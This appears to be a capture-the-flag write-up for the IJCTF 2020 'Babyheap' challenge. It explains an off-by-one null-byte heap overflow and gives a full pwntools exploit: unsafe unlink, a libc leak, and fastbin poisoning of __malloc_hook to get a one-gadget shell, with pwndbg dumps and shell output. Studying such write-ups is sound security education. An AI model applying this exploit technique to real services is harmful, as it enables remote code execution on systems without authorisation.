# Babyheapby mito
## 27 solves, 620pt
* This is a heap challenge with an `off-by-one single byte null overflow` vulnerability. * This  challenge is similar to `RCTF 2018 babyheap`([https://ctftime.org/task/6116](https://ctftime.org/task/6116)).
* However, since it is copied to the heap with strcpy, it is different that multiple null bytes cannot be written at once.
* Therefore, writing to the heap multiple times writes NULL to the heap.
The code for the Create function is as follows.
```unsigned __int64 create(){  size_t nbytes; // [rsp+4h] [rbp-41Ch]  unsigned int v2; // [rsp+Ch] [rbp-414h]  char buf[1032]; // [rsp+10h] [rbp-410h]  unsigned __int64 v4; // [rsp+418h] [rbp-8h]
  v4 = __readfsqword(0x28u);  v2 = 10;  for ( HIDWORD(nbytes) = 0; HIDWORD(nbytes) <= 9; ++HIDWORD(nbytes) )  {    if ( !ptrs[HIDWORD(nbytes)] )    {      v2 = HIDWORD(nbytes);      break;    }  }  if ( v2 == 10 )  {    puts("no free slots\n");  }  else  {    printf("\nusing slot %u\n", v2);    printf("size: ");    __isoc99_scanf("%u", &nbytes);    if ( (unsigned int)nbytes <= 0x3FF )    {      printf("data: ");      LODWORD(nbytes) = read(0, buf, (unsigned int)nbytes);      buf[(unsigned int)nbytes] = 0;      ptrs[v2] = (const char *)malloc((unsigned int)nbytes);      strcpy((char *)ptrs[v2], buf);                  　　　　　　　　　　 <-- off-by-one single byte null overflow      puts("chunk created\n");    }    else    {      puts("maximum size exceeded\n");    }  }  return __readfsqword(0x28u) ^ v4;}```
The first heap state is as follows.
```0x555555758180:	0x4343434343434343	0x43434343434343430x555555758190:	0x4343434343434343	0x43434343434343430x5555557581a0:	0x0000000000000000	0x00000000000000710x5555557581b0:	0x4444444444444444	0x44444444444444440x5555557581c0:	0x4444444444444444	0x44444444444444440x5555557581d0:	0x4444444444444444	0x44444444444444440x5555557581e0:	0x4444444444444444	0x44444444444444440x5555557581f0:	0x4444444444444444	0x44444444444444440x555555758200:	0x4444444444444444	0x44444444444444440x555555758210:	0x0000000000000000	0x0000000000000101　<--  here0x555555758220:	0x4545454545454545	0x45454545454545450x555555758230:	0x4545454545454545	0x4545454545454545```
Set prev_size = 0x200, PREV_INUSE = 0 by allocating the area as shown below.
```Alloc(0x68, "G"*0x60+p64(0x200))Free(0)```
```pwndbg> x/120gx  0x5555557580000x555555758000:	0x0000000000000000	0x00000000000000000x555555758010:	0x0000000000000000	0x00000000000000910x555555758020:	0x00007ffff7dd1b78	0x00007ffff7dd1b78　<-- unsortedbin link0x555555758030:	0x4141414141414141	0x41414141414141410x555555758040:	0x4141414141414141	0x4141414141414141...0x555555758180:	0x4343434343434343	0x43434343434343430x555555758190:	0x4343434343434343	0x43434343434343430x5555557581a0:	0x0000000000000000	0x00000000000000710x5555557581b0:	0x4747474747474747	0x47474747474747470x5555557581c0:	0x4747474747474747	0x47474747474747470x5555557581d0:	0x4747474747474747	0x47474747474747470x5555557581e0:	0x4747474747474747	0x47474747474747470x5555557581f0:	0x4747474747474747	0x47474747474747470x555555758200:	0x4747474747474747	0x47474747474747470x555555758210:	0x0000000000000200	0x0000000000000100  <-- prev_size = 0x200, PREV_INUSE = 00x555555758220:	0x4545454545454545	0x45454545454545450x555555758230:	0x4545454545454545	0x4545454545454545```
* If we free No.4 chunk (0x555555758220) in the above state, we can perform an` unsafe unlink attack`.
* After this we can leak libc address and `fastbins unlink attack`.```Alloc(0x80, "H"*0x80)Print(1)Alloc(0xa0, "I"*0x88+p64(0x71)+p64(malloc_hook-0x23))```
* We can enter the address of `malloc_hook-0x23` in 0x70 size fastbins.```pwndbg> binsfastbins0x20: 0x00x30: 0x00x40: 0x00x50: 0x00x60: 0x00x70: 0x555555758130 —▸ 0x7ffff7dd1aed (_IO_wide_data_0+301) ◂— 0xfff7a92e20000000     <-- here0x80: 0x0unsortedbinall: 0x7ffff7dd1b78 (main_arena+88) —▸ 0x555555758140 ◂— 0x7ffff7dd1b78smallbinsemptylargebinsempty```
* We can write NULL to the stack, so we can run one-gadget-RCE```Alloc(0x60, "J"*0x5f)Alloc(0x60, "K"*0x13+p64(one_gadget)+"\x00"*0x40)Alloc(0x10, "Start sh!")```
Exploit code is below.
```# local ubuntu 16.04from pwn import *
context(os='linux', arch='amd64')#context.log_level = 'debug'
BINARY = './babyheap'elf  = ELF(BINARY)
if len(sys.argv) > 1 and sys.argv[1] == 'r':  HOST = "35.186.153.116"  PORT = 7001  s = remote(HOST, PORT)  libc = ELF('libc6_2.23-0ubuntu10_amd64.so')else:  s = process(BINARY)  libc = elf.libc
def Alloc(size, data):  s.sendlineafter("> ", "1")  s.sendlineafter("size: ", str(size))  s.sendlineafter("data: ", data)
def Free(index):  s.sendlineafter("> ", "2")  s.sendlineafter("idx: ", str(index))
def Print(index):  s.sendlineafter("> ", "3")  s.sendlineafter("idx: ", str(index))
Alloc(0x80, "A"*0x80)Alloc(0x80, "B"*0x80)Alloc(0x60, "C"*0x60)Alloc(0x60, "D"*0x60)Alloc(0xf0, "E"*0xf0)Alloc(0x40, "F"*0x40)
# off-by-one single byte null overflow# Alloc(0x68, "G"*0x60+p64(0x200))for i in range(0x68, 0x62, -1):  Free(3)  Alloc(i, "G"*i)Free(3)Alloc(0x62, "G"*0x61+"\x02")Free(3)Alloc(0x60, "G"*0x60)
Free(0)Free(4)
# libc leakAlloc(0x80, "H"*0x80)Print(1)
s.recvuntil("data: ")r = s.recv(6)
libc_leak = u64(r+'\x00\x00')libc_base = libc_leak - 0x3C4B78malloc_hook = libc_base + libc.symbols['__malloc_hook']one_gadget_offset = [0x45216, 0x4526a, 0xf02a4, 0xf1147]one_gadget  = libc_base + one_gadget_offset[2]print "libc_leak   =", hex(libc_leak)print "libc_base   =", hex(libc_base)print "malloc_hook =", hex(malloc_hook)print "one_gadget  =", hex(one_gadget)
# fastbins unlink attack# Alloc(0xa0, "I"*0x88+p64(0x71)+p64(malloc_hook-0x23))Free(2)Alloc(0xa0, "I"*0x90+p64(malloc_hook-0x23))for i in range(0x8f, 0x88, -1):  Free(2)  Alloc(i, "I"*i)Free(2)Alloc(0x89, "I"*0x88+'\x71')
Alloc(0x60, "J"*0x5f)Alloc(0x60, "K"*0x13+p64(one_gadget)+"\x00"*0x40)
# start shAlloc(0x10, "Start sh!")
s.interactive()
'''$ python exploit.py r[*] '/home/mito/CTF/IJCTF_2020/Pwn_Babyheap/babyheap'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabled[+] Opening connection to 35.186.153.116 on port 7001: Done[*] '/home/mito/CTF/IJCTF_2020/Pwn_Babyheap/libc6_2.23-0ubuntu10_amd64.so'    Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      PIE enabledlibc_leak   = 0x7faccdd9bb78libc_base   = 0x7faccd9d7000malloc_hook = 0x7faccdd9bb10one_gadget  = 0x7faccdac72a4[*] Switching to interactive mode$ ls -ltotal 40-rwxr-x--- 1 0 1000 12944 Apr 19 09:46 babyheapdrwxr-x--- 1 0 1000  4096 Apr 19 02:24 bindrwxr-x--- 1 0 1000  4096 Apr 19 02:23 dev-rwxr----- 1 0 1000    37 Apr 19 09:50 flag.txtdrwxr-x--- 1 0 1000  4096 Apr 19 02:23 libdrwxr-x--- 1 0 1000  4096 Apr 19 02:23 lib32drwxr-x--- 1 0 1000  4096 Apr 19 02:23 lib64$ cat flag.txtIJCTF{4_v3ry_v3ry_p00r_h34p0v3rfl0w}'''```